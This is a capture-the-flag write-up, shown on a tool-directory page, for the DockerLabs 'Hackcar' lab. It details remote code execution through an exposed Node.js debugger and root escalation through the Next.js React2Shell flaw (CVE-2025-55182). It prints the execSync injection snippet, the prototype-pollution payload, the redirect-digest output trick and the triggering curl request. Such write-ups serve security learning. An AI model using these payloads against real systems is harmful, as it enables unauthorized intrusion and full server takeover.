Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
hackcar-writeup — Writeup: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell) | Kitploit
Tools/GitHubGitHub/iapetus12/hackcar-writeup
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration TestingLearning & EducationRed TeamingLabs & PracticeArchived
GitHubiapetus12/hackcar-writeup

hackcar-writeup

171 month agoNot yet reviewed

Writeup: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Hackcar - Writeup

Platform: DockerLabs Difficulty: Medium (more or less, it has its quirks) Objective: From webuser to root by breaking a Next.js


The start: reconnaissance

As always, first things first: see what we're up against.

nmap -sC -sV -T4 172.17.0.2
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js (Express middleware)
9229/tcp open  http    ????

Wait... 9229? That port isn't normal. And a full scan confirms there are only two ports:

nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT     STATE SERVICE
8080/tcp open  http-proxy
9229/tcp open  unknown

9229 is the typical port for the Node.js inspector (debugger). If it's exposed without protection, it's basically an open door to code execution. Let's check it.

curl -s http://172.17.0.2:9229/json
[{
  "description": "node.js instance",
  "title": "/home/webuser/node_app/app.js",
  "webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]

Bingo. The Node debugger is exposed, unauthenticated, and on top of that it tells us where the app lives. This is direct RCE.


Phase 1: RCE via Node.js Inspector

With the debugger exposed we just need to connect to the WebSocket and use Runtime.evaluate to execute whatever we want inside the Node process.

I made a quick Python script that grabs the debugger URL and executes commands with process.mainModule.require('child_process').execSync():

expression = ("process.mainModule.require('child_process')"
              f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")

To avoid fighting with quotes, I send the whole command in base64 and decode it inside the process itself. First test:

python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)

RCE as webuser. We've got the machine in our hands... or so I thought. Turns out the good stuff was better hidden.

Let's look at the processes to see what else is running on the machine:

ps auxww
root      7  0.0  0.0  sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root      8  0.0  0.0  npm exec next dev -p 3000 -H 127.0.0.1
root     30  0.0  0.0  node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root     42  0.8  2.4  next-server (v15.0.0-rc.1)

Pay attention to that! There's a Next.js version 15.0.0-rc.1 running as ROOT on port 3000 (localhost only). That smells like privilege... and like a CVE.

Since it only listens on 127.0.0.1 inside the container, we can't reach it from outside. But we have RCE, so we can get in from the inside. First let's see what it is:

curl -s http://127.0.0.1:3000/

An "Internal Administration Portal" appears — an internal administration portal. All very appetizing.

We found the user flag quickly:

DL{g2QrDUvg3HiqaWeZBbZa}

And now it's time to escalate to root through that Next.js.


Phase 2: React2Shell (CVE-2025-55182)

The version is Next.js 15.0.0-rc.1, which uses React 19 vulnerable to the famous React2Shell (CVE-2025-55182): a critical RCE (CVSS 10.0) via prototype pollution in the RSC parser (React Server Components / Flight protocol).

The exploit is a malformed multipart/form-data with the Next-Action header, which makes the React parser deserialize a poisoned object that ends up calling the Function constructor with our code:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B0\"}",
  "_response": {
    "_prefix": "<JS CODE TO EXECUTE>",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

In other words: Chunk.prototype.then is poisoned, the parser loads our model, and when the promise resolves our JavaScript is executed in the Next.js process, which runs as root.

To get the output I used the "redirect" mode: the code executes the command, base64-encodes the result, and puts it in the digest property of an Error, which Next.js returns as a header:

var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;

The final request:

curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
  -H 'Next-Action: x' \
  -F '0=</tmp/p0.txt' \
  -F '1=</tmp/p1.txt'

The server responds 500 (that's normal, it's an intentional error) and in the header:

x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...

We decode it:

echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)

WE ARE ROOT. And the flag:

python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}

Attack summary

nmap
 └─ 8080 (Express web, static, pure smoke)
 └─ 9229 (Node.js inspector EXPOSED)
      └─ RCE as webuser via Runtime.evaluate
           └─ Enumeration: Next.js 15.0.0-rc.1 on 127.0.0.1:3000 as ROOT
                └─ CVE-2025-55182 (React2Shell): root RCE
                     └─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}

Flags:

FileFlag
/home/webuser/user.txtDL{g2QrDUvg3HiqaWeZBbZa}
/root/root.txtDL{Z8Gc5NFYMrH3W4vv5ZWa}

Vulnerabilities (why it happened)

#VulnerabilityCWEWhat it gave us
1Unauthenticated Node.js inspector (port 9229)CWE-284RCE as webuser
2Outdated Next.js 15.0.0-rc.1 (React2Shell, CVE-2025-55182)CWE-1321 / CWE-502RCE as root

Lessons:

  • Never expose the Node debugger in production (not even on an "internal" network).
  • Update your dependencies. This Next.js has had a known critical CVE for months.
  • Don't bind services only to localhost if the process is already compromised: webuser could reach localhost:3000.
  • DockerLabs is always for learning, not for getting tangled up in real environments ;)

Tools

ToolUse
nmapPort reconnaissance
curlWeb enumeration and triggering the exploit
websocket-client (Python)Talking to the Node inspector
jadxThe previous machine (not here, but I still find it nice)
base64Transporting payloads without quote hassles

Writeup for educational purposes. Only touch machines where you have authorization (DockerLabs, HTB, your own lab).

Download Tool